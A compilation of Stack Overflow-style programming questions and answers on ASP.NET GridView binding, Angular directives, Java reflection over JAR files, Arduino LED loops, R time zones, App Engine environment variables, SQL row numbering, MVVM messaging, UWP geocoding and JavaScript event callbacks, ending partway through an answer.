问:
GridView displaying only first retrieved record
I am successfully retrieving all the records I need from my database, however only one record is getting displayed in my GridView.

I've been trying to solve this for the past couple of days, and I am really getting frustrated  since I ran out of options to try.  I am desperately in need of some help.

I've tried to manipulate the query because I originally thought that it was the problem, tried to convert the data I retrieve from IQueryable to List<MyObject>(), tried to add .Cast<object>().ToList(); at the end of the GridView.DataSource, and even tried the use of ViewStates, and much much more!

Please, anyone, help.

I do have onRowDataBound and on selectedIndexChanged events for the GridView because I read that they can cause this issue.

Below is my code:

GridView:

```<code>gvSubCategories.DataSource = new BASubCategory().GetSubCatWithCatName();
gvSubCategories.DataBind();

protected void gvSubCategories_RowDataBound(object sender, GridViewRowEventArgs e)
{
    if (e.Row.RowType == DataControlRowType.DataRow)
    {
        SubCategory currentSubCat = (SubCategory)e.Row.DataItem;

        //Image img = (Image)e.Row.FindControl("imgSubCategory");
        //img.ImageUrl = currentSubCat.ImageURL;
    }
}

protected void gvSubCategories_SelectedIndexChanged(object sender, EventArgs e)
{
    BASubCategory baSubCat = new BASubCategory();
    Guid id = new Guid(gvSubCategories.SelectedDataKey.Value.ToString());
    SubCategory subCat = baSubCat.GetSubCategory(id);

    txtName.Text = subCat.Name;
    imgImage.ImageUrl = subCat.ImageURL;
}
</code>```

GridView Definition

```<code><div class="content">

    <asp:GridView ID="gvSubCategories" runat="server" DataKeyNames="ID" AutoGenerateColumns="false"
        onrowdatabound="gvSubCategories_RowDataBound"
        onselectedindexchanged="gvSubCategories_SelectedIndexChanged">
        <Columns>
            <asp:CommandField ShowSelectButton="true" />
            <asp:TemplateField>
                <ItemTemplate>
                    <asp:Image ID="imgSubCategory" runat="server" Width="100px" Height="100px" />
                </ItemTemplate>
            </asp:TemplateField>
            <asp:BoundField DataField="CategoryName" HeaderText="Category Name" />
            <asp:BoundField DataField="SubCategoryName" HeaderText="Sub Category Name" />
            <asp:BoundField DataField="SubCategoryImage" HeaderText="Sub Category Image" />
        </Columns>
    </asp:GridView>

</div>
</code>```

答:
Just to put my answer out there for this issue.  I had a gridview column which looked like this:

<asp:BoundField DataField="DueDate" HeaderText="DueDate" SortExpression="DueDate">
  <ItemStyle Wrap="False" />
</asp:BoundField>```
</div>
</div>
</p>

<p>My grid was being field in the code behind calling a stored procedure, not too much to see here either.  The end of the c# looked like this</p>

```gv_maingrid2.DataSource = dt
gv_maingrid2.DataBind()
```

The problem was that my stored procedure did not return a column header for the DueDate column.  When I ran the stored procedure in SSMS, the DueDate column value displayed "(No Column Name)" because I was casting the value to a varchar and never added the alias or column name.  Check to see you're getting all of you column headers.  I hope this helps someone!!

Body:
I am successfully retrieving all the records I need from my database, however only one record is getting displayed in my GridView.

I've been trying to solve this for the past couple of days, and I am really getting frustrated  since I ran out of options to try.  I am desperately in need of some help.

I've tried to manipulate the query because I originally thought that it was the problem, tried to convert the data I retrieve from IQueryable to List<MyObject>(), tried to add .Cast<object>().ToList(); at the end of the GridView.DataSource, and even tried the use of ViewStates, and much much more!

Please, anyone, help.

I do have onRowDataBound and on selectedIndexChanged events for the GridView because I read that they can cause this issue.

Below is my code:

GridView:

gvSubCategories.DataSource = new BASubCategory().GetSubCatWithCatName();
gvSubCategories.DataBind();

protected void gvSubCategories_RowDataBound(object sender, GridViewRowEventArgs e)
{
    if (e.Row.RowType == DataControlRowType.DataRow)
    {
        SubCategory currentSubCat = (SubCategory)e.Row.DataItem;

        //Image img = (Image)e.Row.FindControl("imgSubCategory");
        //img.ImageUrl = currentSubCat.ImageURL;
    }
}

protected void gvSubCategories_SelectedIndexChanged(object sender, EventArgs e)
{
    BASubCategory baSubCat = new BASubCategory();
    Guid id = new Guid(gvSubCategories.SelectedDataKey.Value.ToString());
    SubCategory subCat = baSubCat.GetSubCategory(id);

    txtName.Text = subCat.Name;
    imgImage.ImageUrl = subCat.ImageURL;
}

GridView Definition

    <asp:GridView ID="gvSubCategories" runat="server" DataKeyNames="ID" AutoGenerateColumns="false"
        onrowdatabound="gvSubCategories_RowDataBound"
        onselectedindexchanged="gvSubCategories_SelectedIndexChanged">
        <Columns>
            <asp:CommandField ShowSelectButton="true" />
            <asp:TemplateField>
                <ItemTemplate>
                    <asp:Image ID="imgSubCategory" runat="server" Width="100px" Height="100px" />
                </ItemTemplate>
            </asp:TemplateField>
            <asp:BoundField DataField="CategoryName" HeaderText="Category Name" />
            <asp:BoundField DataField="SubCategoryName" HeaderText="Sub Category Name" />
            <asp:BoundField DataField="SubCategoryImage" HeaderText="Sub Category Image" />
        </Columns>
    </asp:GridView>

Body:
Just to put my answer out there for this issue.  I had a gridview column which looked like this:

<asp:BoundField DataField="DueDate" HeaderText="DueDate" SortExpression="DueDate">
  <ItemStyle Wrap="False" />
</asp:BoundField>

My grid was being field in the code behind calling a stored procedure, not too much to see here either.  The end of the c# looked like this

gv_maingrid2.DataSource = dt
gv_maingrid2.DataBind()

The problem was that my stored procedure did not return a column header for the DueDate column.  When I ran the stored procedure in SSMS, the DueDate column value displayed "(No Column Name)" because I was casting the value to a varchar and never added the alias or column name.  Check to see you're getting all of you column headers.  I hope this helps someone!!


来源: stackexchange

问:
Ionic 4 - getting ElementRef property on Directive
I need get ElementRef value in a Directive to apply dynamically a class to the element.

My Directive:

```<code>import { Directive, ElementRef, Renderer2 } from '@angular/core';

@Directive({
  selector: '[scrolling]'
})

export class ScrollingDirective {

  constructor(public renderer: Renderer2, public el: ElementRef) {
    console.log(this.el);
    console.log(this.el.nativeElement.scrollWidth);
    if (el.nativeElement.scrollWidth > el.nativeElement.clientWidth) {
      this.renderer.addClass(el.nativeElement, 'scrollear');
    }
  }

}
</code>```

Then I assign the directive to a DOM's element:

```<code><ion-label scrolling>hello world</ion-label>
</code>```

The problem is that in the constructor of the directive I cannot receive the values of the element, however, with console.log I can see the values correctly, but I can't get them.

I need to retrieve these values, but when referencing them the value is 0.

答: I think you cannot get the values in the constructor because it hasn't rendered yet. Try accessing them in ngAfterViewInit

ContentLicense: CC BY-SA 4.0

Body:
I need get ElementRef value in a Directive to apply dynamically a class to the element.

My Directive:

import { Directive, ElementRef, Renderer2 } from '@angular/core';

@Directive({
  selector: '[scrolling]'
})

export class ScrollingDirective {

  constructor(public renderer: Renderer2, public el: ElementRef) {
    console.log(this.el);
    console.log(this.el.nativeElement.scrollWidth);
    if (el.nativeElement.scrollWidth > el.nativeElement.clientWidth) {
      this.renderer.addClass(el.nativeElement, 'scrollear');
    }
  }

}

Then I assign the directive to a DOM's element:

<ion-label scrolling>hello world</ion-label>

The problem is that in the constructor of the directive I cannot receive the values of the element, however, with console.log I can see the values correctly, but I can't get them.

I need to retrieve these values, but when referencing them the value is 0.


问:
Listing class APIs with parameters and return types
I want to list all the APIs of the given jar ( for which I don't have javadoc) in following fashion any help on that?</p>

```<code>PackageName, ClassName, API Name, ParamName:type;ParameterName:type,ReturnType
</code>```

答:
Interesting problem. Probably a number of tools to do something similar, though not exactly what you want. Certainly there would be an easy implementation with ASM. As it is, I whipped up one using reflection:

```<code>public class C {
    public static void main(String[] args) throws java.io.IOException {
        java.util.jar.JarFile jar = new java.util.jar.JarFile(args[0]);
        java.util.Enumeration<java.util.jar.JarEntry> jarEntries = jar.entries();
        while (jarEntries.hasMoreElements()) {
            java.util.jar.JarEntry jarEntry = jarEntries.nextElement();
            String jarEntryName = jarEntry.getName();
            if (!jarEntryName.endsWith(".class")) {
                continue;
            }
            int jarEntryNameSuffixIndex = jarEntryName.length() - 6;
            String binaryName = jarEntryName.substring(0, jarEntryNameSuffixIndex).replaceAll("/", "\\.");
            Class<?> type = null;
            while (type == null) {
                try {
                    type = ClassLoader.getSystemClassLoader().loadClass(binaryName);
                } catch (ClassNotFoundException e) {
                    int binaryNameQualifiedIndex = binaryName.indexOf(".");
                    if (binaryNameQualifiedIndex == -1) {
                        throw new RuntimeException("couldn't load class for " + jarEntryName);
                    } else {
                        binaryName = binaryName.substring(binaryNameQualifiedIndex + 1);
                    }
                }
            }
            int typeModifiers = type.getModifiers();
            if (!(java.lang.reflect.Modifier.isPublic(typeModifiers) || java.lang.reflect.Modifier.isProtected(typeModi$
                continue;
            }
            String packageName = (type.getPackage() == null) ? "" : type.getPackage().getName();
            String typeName = type.getCanonicalName();
            for (java.lang.reflect.Method method : type.getDeclaredMethods()) {
                if (method.isSynthetic() || method.isBridge()) {
                    continue;
                }
                int methodModifiers = method.getModifiers();
                if (!(java.lang.reflect.Modifier.isPublic(methodModifiers) || java.lang.reflect.Modifier.isProtected(me$
                    continue;
                }
                String methodName = method.getName();
                System.out.print(packageName + ", " + typeName + ", " + methodName + ", ");
                for (Class<?> parameterType : method.getParameterTypes()) {
                    String parameterTypeName = parameterType.getCanonicalName();
                    System.out.print(":" + parameterTypeName + ", ");
                }
                Class<?> returnType = method.getReturnType();
                String returnTypeName = returnType.getCanonicalName();
                System.out.println(returnTypeName);
            }
        }
    }
}
</code>```

Include the JAR (and its dependencies) in the classpath. This won't print the names of the parameters, since you can't get those via reflection. It also doesn't show type parameters or var-args, though you could get those.

ContentLicense: CC BY-SA 3.0

Body:
I want to list all the APIs of the given jar ( for which I don't have javadoc) in following fashion any help on that?

PackageName, ClassName, API Name, ParamName:type;ParameterName:type,ReturnType

Body:
Interesting problem. Probably a number of tools to do something similar, though not exactly what you want. Certainly there would be an easy implementation with ASM. As it is, I whipped up one using reflection:

public class C {
    public static void main(String[] args) throws java.io.IOException {
        java.util.jar.JarFile jar = new java.util.jar.JarFile(args[0]);
        java.util.Enumeration<java.util.jar.JarEntry> jarEntries = jar.entries();
        while (jarEntries.hasMoreElements()) {
            java.util.jar.JarEntry jarEntry = jarEntries.nextElement();
            String jarEntryName = jarEntry.getName();
            if (!jarEntryName.endsWith(".class")) {
                continue;
            }
            int jarEntryNameSuffixIndex = jarEntryName.length() - 6;
            String binaryName = jarEntryName.substring(0, jarEntryNameSuffixIndex).replaceAll("/", "\\.");
            Class<?> type = null;
            while (type == null) {
                try {
                    type = ClassLoader.getSystemClassLoader().loadClass(binaryName);
                } catch (ClassNotFoundException e) {
                    int binaryNameQualifiedIndex = binaryName.indexOf(".");
                    if (binaryNameQualifiedIndex == -1) {
                        throw new RuntimeException("couldn't load class for " + jarEntryName);
                    } else {
                        binaryName = binaryName.substring(binaryNameQualifiedIndex + 1);
                    }
                }
            }
            int typeModifiers = type.getModifiers();
            if (!(java.lang.reflect.Modifier.isPublic(typeModifiers) || java.lang.reflect.Modifier.isProtected(typeModi$
                continue;
            }
            String packageName = (type.getPackage() == null) ? "" : type.getPackage().getName();
            String typeName = type.getCanonicalName();
            for (java.lang.reflect.Method method : type.getDeclaredMethods()) {
                if (method.isSynthetic() || method.isBridge()) {
                    continue;
                }
                int methodModifiers = method.getModifiers();
                if (!(java.lang.reflect.Modifier.isPublic(methodModifiers) || java.lang.reflect.Modifier.isProtected(me$
                    continue;
                }
                String methodName = method.getName();
                System.out.print(packageName + ", " + typeName + ", " + methodName + ", ");
                for (Class<?> parameterType : method.getParameterTypes()) {
                    String parameterTypeName = parameterType.getCanonicalName();
                    System.out.print(":" + parameterTypeName + ", ");
                }
                Class<?> returnType = method.getReturnType();
                String returnTypeName = returnType.getCanonicalName();
                System.out.println(returnTypeName);
            }
        }
    }
}

Include the JAR (and its dependencies) in the classpath. This won't print the names of the parameters, since you can't get those via reflection. It also doesn't show type parameters or var-args, though you could get those.


问:
How can I combine these two for loop statements?
Hi I'm using an Arduino to have a column of 4 leds streak across from left to right then back across on a 4x16 led panel.
Currently I am using two for loop statements to make this happen but I'm wondering if there is way to combine the two loops or something so that left to right to left is all encompassed in one statement.
Thanks.</p>

```<code>int row1 = 0;
int row2 = 0;
int row3 = 0;
int row4 = 0;
int row1r = 0;
int row2r = 0;
int row3r = 0;
int row4r = 0;

void setup() {
  FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS);
  Serial.begin(9600);
  while (! Serial);
}

void loop() {
  // Left to Right
  for (row1 = 0, row2 = 31, row3 = 32, row4 = 63; row1 <= 15 && row2 >= 16 && row3 <= 47 && row4 >= 48; row1++, row2--, row3++, row4--) {
    leds[row1] = CRGB::Blue;
    leds[row2] = CRGB::Blue;
    leds[row3] = CRGB::Blue;
    leds[row4] = CRGB::Blue;
    FastLED.show();
    delay(30);
    leds[row1] = CRGB::Black;
    leds[row2] = CRGB::Black;
    leds[row3] = CRGB::Black;
    leds[row4] = CRGB::Black;
  }
  // Right to Left
  for (row1r = 15, row2r = 16, row3r = 47, row4r = 48; row1r >= 0 && row2r <= 31 && row3r >= 32 && row4r <= 63; row1r--, row2r++, row3r--, row4r++) {
    leds[row1r] = CRGB::Blue;
    leds[row2r] = CRGB::Blue;
    leds[row3r] = CRGB::Blue;
    leds[row4r] = CRGB::Blue;
    FastLED.show();
    delay(30);
    leds[row1r] = CRGB::Black;
    leds[row2r] = CRGB::Black;
    leds[row3r] = CRGB::Black;
    leds[row4r] = CRGB::Black;
  }
}
</code>```

答:
I think a better algorithm approach for this requirement would be treating the led matrix as an array of 16 column then defining a function that takes column index and illuminates leds correspondent to that column , each led shall be defined as function of the variable columnIndex then looping over the 16 columns in the void loop .

1)

```<code>void illuminateColumn(columnIndex)
{
    //illuminate leds[4*columnIndex]
    //illuminate leds[4*columnIndex+1]
    //illuminate leds[4*columnIndex+2]
    //illuminate leds[4*columnIndex+3]

    delay(30)

    //blacken leds[4*columnIndex]
    //blacken leds[4*columnIndex+1]
    //blacken leds[4*columnIndex+2]
    //blacken leds[4*columnIndex+3]

}

void loop()
{
  for(int i=0;i<15;i++)
   {
     illuminateColumn(i);
   }

  for(int j=15;j>0;j--)
   {
     illuminateColumn(i);
   }

}
</code>```

2)

```<code>void illuminateColumn(columnIndex)
{
//illuminate leds[63-columnIndex]
//illuminate leds[47-columnIndex]
//illuminate leds[31-columnIndex]
//illuminate leds[15-columnIndex]

delay(30)

//blacken leds[63-columnIndex]
//blacken leds[47-columnIndex]
//blacken leds[31-columnIndex]
//blacken leds[15-columnIndex]

 }

 void loop()
  {
    for(int i=0;i<15;i++)
     {
       illuminateColumn(i);
     }

    for(int j=15;j>0;j--)
     {
      illuminateColumn(i);
     }

   }
</code>```

Body:
Hi I'm using an Arduino to have a column of 4 leds streak across from left to right then back across on a 4x16 led panel.
Currently I am using two for loop statements to make this happen but I'm wondering if there is way to combine the two loops or something so that left to right to left is all encompassed in one statement.
Thanks.

int row1 = 0;
int row2 = 0;
int row3 = 0;
int row4 = 0;
int row1r = 0;
int row2r = 0;
int row3r = 0;
int row4r = 0;

void setup() {
  FastLED.addLeds<LED_TYPE, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS);
  Serial.begin(9600);
  while (! Serial);
}

void loop() {
  // Left to Right
  for (row1 = 0, row2 = 31, row3 = 32, row4 = 63; row1 <= 15 && row2 >= 16 && row3 <= 47 && row4 >= 48; row1++, row2--, row3++, row4--) {
    leds[row1] = CRGB::Blue;
    leds[row2] = CRGB::Blue;
    leds[row3] = CRGB::Blue;
    leds[row4] = CRGB::Blue;
    FastLED.show();
    delay(30);
    leds[row1] = CRGB::Black;
    leds[row2] = CRGB::Black;
    leds[row3] = CRGB::Black;
    leds[row4] = CRGB::Black;
  }
  // Right to Left
  for (row1r = 15, row2r = 16, row3r = 47, row4r = 48; row1r >= 0 && row2r <= 31 && row3r >= 32 && row4r <= 63; row1r--, row2r++, row3r--, row4r++) {
    leds[row1r] = CRGB::Blue;
    leds[row2r] = CRGB::Blue;
    leds[row3r] = CRGB::Blue;
    leds[row4r] = CRGB::Blue;
    FastLED.show();
    delay(30);
    leds[row1r] = CRGB::Black;
    leds[row2r] = CRGB::Black;
    leds[row3r] = CRGB::Black;
    leds[row4r] = CRGB::Black;
  }
}

Body:
I think a better algorithm approach for this requirement would be treating the led matrix as an array of 16 column then defining a function that takes column index and illuminates leds correspondent to that column , each led shall be defined as function of the variable columnIndex then looping over the 16 columns in the void loop .

1)

void illuminateColumn(columnIndex)
{
    //illuminate leds[4*columnIndex]
    //illuminate leds[4*columnIndex+1]
    //illuminate leds[4*columnIndex+2]
    //illuminate leds[4*columnIndex+3]

    delay(30)

    //blacken leds[4*columnIndex]
    //blacken leds[4*columnIndex+1]
    //blacken leds[4*columnIndex+2]
    //blacken leds[4*columnIndex+3]

}

void loop()
{
  for(int i=0;i<15;i++)
   {
     illuminateColumn(i);
   }

  for(int j=15;j>0;j--)
   {
     illuminateColumn(i);
   }

}

2)

void illuminateColumn(columnIndex)
{
//illuminate leds[63-columnIndex]
//illuminate leds[47-columnIndex]
//illuminate leds[31-columnIndex]
//illuminate leds[15-columnIndex]

delay(30)

//blacken leds[63-columnIndex]
//blacken leds[47-columnIndex]
//blacken leds[31-columnIndex]
//blacken leds[15-columnIndex]

 }

 void loop()
  {
    for(int i=0;i<15;i++)
     {
       illuminateColumn(i);
     }

    for(int j=15;j>0;j--)
     {
      illuminateColumn(i);
     }

   }


问:
Convert a column within a large dataset from UTC to PST in R
I have a large dataset, df, that I would like to convert the Date column to PST. It is currently in UTC time.

```<code>   Date                        ID

   1/7/2020 1:35:08 AM         A
</code>```

I would like to convert the Date column from UTC to PST, while preserving the other columns.

```<code>   Date                        ID

   1/7/2020 5:35:08 PM         A
</code>```

Here is the dput:

```<code>  structure(list(Date = structure(1L, .Label = "1/7/2020 1:35:08 AM", class = "factor"),
  ID = structure(1L, .Label = "A", class = "factor")), class = "data.frame", row.names = c(NA,
 -1L))
</code>```

This is what I have tried:

```<code>  library(lubridate)
  newdata <- as.POSIXct(Sys.Date())
</code>```

However, I am unsure if I need to add format and what other code needs to be added.

答:
Using lubridate you can do :

```<code>library(lubridate)
df$Date <- mdy_hms(df$Date)
df$Date <- with_tz(df$Date, tzone = "America/Los_Angeles")
df

#                 Date ID
#1 2020-01-06 17:35:08  A
</code>```

Or in base R :

```<code>df$Date <- as.POSIXct(df$Date, format = "%m/%d/%Y %I:%M:%S %p", tz = "UTC")
attributes(df$Date)$tzone <- "America/Los_Angeles"
</code>```

Body:
I have a large dataset, df, that I would like to convert the Date column to PST. It is currently in UTC time.

   Date                        ID

   1/7/2020 1:35:08 AM         A

I would like to convert the Date column from UTC to PST, while preserving the other columns.

   Date                        ID

   1/7/2020 5:35:08 PM         A

Here is the dput:

  structure(list(Date = structure(1L, .Label = "1/7/2020 1:35:08 AM", class = "factor"),
  ID = structure(1L, .Label = "A", class = "factor")), class = "data.frame", row.names = c(NA,
 -1L))

This is what I have tried:

  library(lubridate)
  newdata <- as.POSIXct(Sys.Date())

However, I am unsure if I need to add format and what other code needs to be added.

Body:
Using lubridate you can do :

library(lubridate)
df$Date <- mdy_hms(df$Date)
df$Date <- with_tz(df$Date, tzone = "America/Los_Angeles")
df

#                 Date ID
#1 2020-01-06 17:35:08  A

Or in base R :

df$Date <- as.POSIXct(df$Date, format = "%m/%d/%Y %I:%M:%S %p", tz = "UTC")
attributes(df$Date)$tzone <- "America/Los_Angeles"


问:
Missing environment variables when app is deployed to app engine
I am new to node development struggling with getting the environment variables form the app engine . I am trying to deploy a web server to Google App engine.

During development I am using the "dotenv" package to get the variables.Everything is working as expected.

When deployed to engine using app.yaml. I am missing all the variables getting undefined.
Currently I am using node 12.5.0 and using runtime: nodejs12 in the app.yaml.

```<code>runtime: nodejs12
env_variables:
  AccountID: "XXXXXXXXXXXXXX"
  Token: "somethingrandom"
</code>```

.env

```<code>AccountID=myacccountID
Token=mytoken
</code>```

index.js

```<code>require("dotenv").config();

let accountid = process.env.AccountID
console.log(accountid);
</code>```

on my local environment I am getting value correctly.
But on the GAE i'm getting undefined

Previously I have even tried to include the .env file and  use the "dotenv" library in App engine and it worked. But it is not working now.

答:
Sorry to bother you guys.
After 4 cups of coffee I finally figured the issue.
In my env file I have AccountID as varraible but in my code I am using process.env.accountID

which is undefined.
Finally figured that. But I was wondering why the compiler didn't throw any error in the local machine.

Body:
I am new to node development struggling with getting the environment variables form the app engine . I am trying to deploy a web server to Google App engine.

During development I am using the "dotenv" package to get the variables.Everything is working as expected.

When deployed to engine using app.yaml. I am missing all the variables getting undefined.
Currently I am using node 12.5.0 and using runtime: nodejs12 in the app.yaml.

runtime: nodejs12
env_variables:
  AccountID: "XXXXXXXXXXXXXX"
  Token: "somethingrandom"

.env

AccountID=myacccountID
Token=mytoken

index.js

require("dotenv").config();

let accountid = process.env.AccountID
console.log(accountid);

on my local environment I am getting value correctly.
But on the GAE i'm getting undefined

Previously I have even tried to include the .env file and  use the "dotenv" library in App engine and it worked. But it is not working now.


问:
How to get the current row number in an SQL Server 2000 query?
How do I get the row number in an SQL query using SQL Server 2000, where the ROW_NUMBER() function is not supported?

答:
Another way of doing this without using a SQL defined function could be the following:

```<code>SELECT
(SELECT COUNT(1) + 1 FROM YourTable t2 WHERE t2.Id < t.Id) AS RowNumber
FROM YourTable t
</code>```

It's a bit tricky, but seems simpler that the options that others gave you.

Body:
Another way of doing this without using a SQL defined function could be the following:

SELECT
(SELECT COUNT(1) + 1 FROM YourTable t2 WHERE t2.Id < t.Id) AS RowNumber
FROM YourTable t

It's a bit tricky, but seems simpler that the options that others gave you.


问:
Java generic Integer data vs primitive int data
I know that in Java we can use generic data types for various reasons. However, in terms of data storage. If a primitive int in Java can store up to 2,147,483,647 signed values, does this same storage capacity apply for the Integer generic type? Also, does the data type chosen in a program affect the runtime in any way? Or does it more so affect the space-time complexity of a program? My main question is that if I stick with a data type that is rather small but appropriate for my programs needs, than will it by any means help my program run faster?

答:
Yes, the limitations are still there.

You shouldn't treat Integer like this magical object, all it is is an object that holds an int called value. So, without auto-boxing and unboxing, you could technically create your own Integer wrapper class. What to take away is Integer is pretty much the exact same as int, except it's an object.

About your main question about the speed, Integer is just a tiny bit slower, but I don't think you should worry about it. It's only slower because Objects need to be allocated in the heap space.


问:
MVVM Central App Logic
I am using Simple MVVM Toolkit in WPF to create an application, the application uses a central tab control, with a View (UserControl) for each tab item. These Views may also contain tab controls themselves containing further "sub-views".

Our difficulty is in finding a way to share application logic which is used by several of these views, without having one global huge messy class..

答:
I would not go with a huge class which holds everything. But I would have a central ViewModel which controls the overall state. Like the ShellViewModel. And I would let the viewmodels communicate and exchange information via Messenger (MVVM Toolkit light) or EventAggregator (Prism).
They offer way vie Publish/Subscriber Pattern to exchange information. And you can address them by implementing own message classes and pass payload along with it.

So you could have a global Message for Save all and every (Sub-)ViewModel could register to it and runs there own save method after receiving the message...

Prism
http://msdn.microsoft.com/en-us/library/ff921122(v=pandp.20).aspx

MVVM light
http://blog.galasoft.ch/archive/2009/09/27/mvvm-light-toolkit-messenger-v2-beta.aspx

Let me know if this helps...

Title: MVVM Central App Logic


问:
Getting back the exact address using building number and postcode - UWP - MapService
so i'm trying to retrieve the full address using the MapLocationFinder class in MapService for UWP.

I'm using the function FindLocationsAsync and I'm passing in the following:

```<code>MapLocationFinderResult result = await
                    MapLocationFinder.FindLocationsAsync(BuildingNumber + ", " + PostCode, null);
</code>```

Where building number is 20 and postcode is SW11 1BP. For some reason, this isn't returning the street name... the Address variable does not contain anything apart from that it is in London. What am I doing wrong? I thought I could do a full address lookup by postcode and street number.

答:
Please check document Perform geocoding and reverse geocoding . We must specify a maps authentication key before you can use map services. For using map service we also need to enable the location capability.

And you could check MapLocationFinderResult Status property to make sure the query successfully.

```<code>MapService.ServiceToken = "Token";
MapLocationFinderResult result =
      await MapLocationFinder.FindLocationsAsync(
                       BuildingNumber  + ", " + PostCode, null);

if (result.Status == MapLocationFinderStatus.Success)
{
    var Text = "result = (" +
       result.Locations[0].Point.Position.Latitude.ToString() + "," +
    result.Locations[0].Point.Position.Longitude.ToString() + result.Locations[0].DisplayName + ")";
}
</code>```

If above address does not contain street name, you could use above Latitude Longitude to reverse Geocode then call FindLocationsAtAsync method to get the address.

```<code>MapLocationFinderResult result =
          await MapLocationFinder.FindLocationsAsync(
                           BuildingNumber  + ", " + PostCode, null);
if (result.Status == MapLocationFinderStatus.Success)
{
    var temp = "result = (" +
       result.Locations[0].Point.Position.Latitude.ToString() + "," +
    result.Locations[0].Point.Position.Longitude.ToString() + result.Locations[0].DisplayName + result.Locations[0].Address.Street + ")";

    BasicGeoposition location = new BasicGeoposition();
    location.Latitude = result.Locations[0].Point.Position.Latitude;
    location.Longitude = result.Locations[0].Point.Position.Longitude;
    Geopoint pointToReverseGeocode = new Geopoint(location);

    // Reverse geocode the specified geographic location.
    MapLocationFinderResult MyResult =
          await MapLocationFinder.FindLocationsAtAsync(pointToReverseGeocode);

    // If the query returns results, display the name of the town
    // contained in the address of the first result.
    if (result.Status == MapLocationFinderStatus.Success)
    {
        var text = "Street = " +
              MyResult.Locations[0].Address.Street;
    }
}
</code>```

Body:
so i'm trying to retrieve the full address using the MapLocationFinder class in MapService for UWP.

I'm using the function FindLocationsAsync and I'm passing in the following:

MapLocationFinderResult result = await
                    MapLocationFinder.FindLocationsAsync(BuildingNumber + ", " + PostCode, null);

Where building number is 20 and postcode is SW11 1BP. For some reason, this isn't returning the street name... the Address variable does not contain anything apart from that it is in London. What am I doing wrong? I thought I could do a full address lookup by postcode and street number.

Body:
Please check document Perform geocoding and reverse geocoding . We must specify a maps authentication key before you can use map services. For using map service we also need to enable the location capability.

And you could check MapLocationFinderResult Status property to make sure the query successfully.

MapService.ServiceToken = "Token";
MapLocationFinderResult result =
      await MapLocationFinder.FindLocationsAsync(
                       BuildingNumber  + ", " + PostCode, null);

if (result.Status == MapLocationFinderStatus.Success)
{
    var Text = "result = (" +
       result.Locations[0].Point.Position.Latitude.ToString() + "," +
    result.Locations[0].Point.Position.Longitude.ToString() + result.Locations[0].DisplayName + ")";
}

If above address does not contain street name, you could use above Latitude Longitude to reverse Geocode then call FindLocationsAtAsync method to get the address.

MapLocationFinderResult result =
          await MapLocationFinder.FindLocationsAsync(
                           BuildingNumber  + ", " + PostCode, null);
if (result.Status == MapLocationFinderStatus.Success)
{
    var temp = "result = (" +
       result.Locations[0].Point.Position.Latitude.ToString() + "," +
    result.Locations[0].Point.Position.Longitude.ToString() + result.Locations[0].DisplayName + result.Locations[0].Address.Street + ")";

    BasicGeoposition location = new BasicGeoposition();
    location.Latitude = result.Locations[0].Point.Position.Latitude;
    location.Longitude = result.Locations[0].Point.Position.Longitude;
    Geopoint pointToReverseGeocode = new Geopoint(location);

    // Reverse geocode the specified geographic location.
    MapLocationFinderResult MyResult =
          await MapLocationFinder.FindLocationsAtAsync(pointToReverseGeocode);

    // If the query returns results, display the name of the town
    // contained in the address of the first result.
    if (result.Status == MapLocationFinderStatus.Success)
    {
        var text = "Street = " +
              MyResult.Locations[0].Address.Street;
    }
}


问:
How can I make an tab change it's title when it's active/inactive?
I noticed Mellow Mushroom's website tabs change depending on if it is active or not. I'd like to be able to reproduce this on my personal site.

Here's a video in case you don't know what I mean ---> https://imgur.com/i4MLMKz

Will I need to do this in JavaScript?

答: It's really just two steps. Detect if the browser window is active. That question was asked and answered here: Is there a way to detect if a browser window is not currently active?. Then you can just set the document.title property.</p>


问:
Custom status change events in Javascript
I have an asynchronous function that performs various await tasks. I am trying to inform my UI in React when the status of the function changes or when one of the tasks is completed.

```<code>const foo = async () => {
    // trigger on load event

    await task1();
    // trigger task1 done event

    await task2();
    // trigger task2 done event

    await task3();
    // trigger on done event
}
</code>```

I also want to be able to specify callbacks for each event, like so:

```<code>const bar = foo();
foo.on_load(() => {
    // some code goes here
});
foo.on_done(() => {
    // some code goes here
});
</code>```

Another alternative would be something like this:

```<code>const bar = foo();
foo.on('status_change', status => {
    // read the status here and do something depending on the status
})
</code>```

I have been reading about custom events in JS but not sure how to use them for this. Or maybe there's another way to do this in React.

Any ideas would be helpful. Thanks!

EDIT

```<code>var uploadTask = storageRef.child('images/rivers.jpg').put(file);

// Register three observers:
// 1. 'state_changed' observer, called any time the state changes
// 2. Error observer, called on failure
// 3. Completion observer, called on successful completion
uploadTask.on('state_changed', function(snapshot){
  // Observe state change events such as progress, pause, and resume
  // Get task progress, including the number of bytes uploaded and the total number of bytes to be uploaded
  var progress = (snapshot.bytesTransferred / snapshot.totalBytes) * 100;
  console.log('Upload is ' + progress + '% done');
  switch (snapshot.state) {
    case firebase.storage.TaskState.PAUSED: // or 'paused'
      console.log('Upload is paused');
      break;
    case firebase.storage.TaskState.RUNNING: // or 'running'
      console.log('Upload is running');
      break;
  }
}, function(error) {
  // Handle unsuccessful uploads
}, function() {
  // Handle successful uploads on complete
  // For instance, get the download URL: https://firebasestorage.googleapis.com/...
  uploadTask.snapshot.ref.getDownloadURL().then(function(downloadURL) {
    console.log('File available at', downloadURL);
  });
});
</code>```

I was trying to achieve something like the above code, taken from the firebase documentation on uploading files

This is where I've gotten so far:

```<code>class Task {
  constructor() {
    this.first = null;
    this.second = null;
  }

  on(keyword, callback) {
    switch (keyword) {
      case "first":
        this.first = callback;
        break;
      case "second":
        this.second = callback;
        break;
      default:
        // throw new error
        break;
    }
  }
}

const timeout = async time => {
  return new Promise(resolve => setTimeout(resolve, time));
};

const foo = () => {
  const task = new Task();

  timeout(2000).then(async () => {
    task.first && task.first();
    await timeout(2000);
    task.second && task.second();
  });

  console.log("returning");
  return task;
};

const taskObject = foo();
taskObject.on("first", () => console.log("executing first callback"));
taskObject.on("second", () => console.log("executing second callback"));
</code>```

Is there a better way to do this - without having the nested thens? Which approach would be better and when? EDIT - removed nested then clauses and replaced with then and await

PS: for my requirements, having callbacks would be sufficient. This is just so I can understand the concept better. Thanks!

答:
I'm going to assume there's a reason for you not simply calling some named method after each async step has complete, i.e., you want to be able to plug in different handlers for each event. Here is one way to go about it - whether or not it's the best is hard to tell from the little context provided:

```<code>const foo = async (handlers) => {
  handlers.onLoad && handlers.onLoad();

  await task1();
  handlers.onTask1Complete && handlers.onTask1Complete();

  await task2();
